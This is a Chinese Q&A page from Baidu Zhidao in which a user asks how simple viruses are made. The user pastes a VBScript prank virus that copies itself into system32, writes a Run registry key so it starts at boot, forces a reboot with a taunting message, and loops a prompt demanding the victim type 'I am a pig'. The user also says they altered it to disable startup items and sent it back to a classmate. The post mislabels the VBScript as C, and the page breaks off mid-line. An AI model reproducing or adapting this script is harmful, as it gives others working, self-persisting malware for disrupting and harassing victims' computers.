怎样编写简单的病毒文件？

来源：百度知道 编辑：UC知道 时间：2024/06/16 09:28:05
今天一同学发我一.vbs文件，打开之后要我写自己是傻瓜，否则就关机。没一会，还真的自动关机了，这个文件算是病毒吗？用记事本打开一看，是用C语言编写的，感觉不是很难，就改了一下，发了回去，现让他关闭所有开机启动项，再关机了。我想知道一般间单病毒的制作程度是怎么样的？

on error resume next
Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪，不说我是猪就半分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪哦,就不关机，快撒，说 ""我是猪"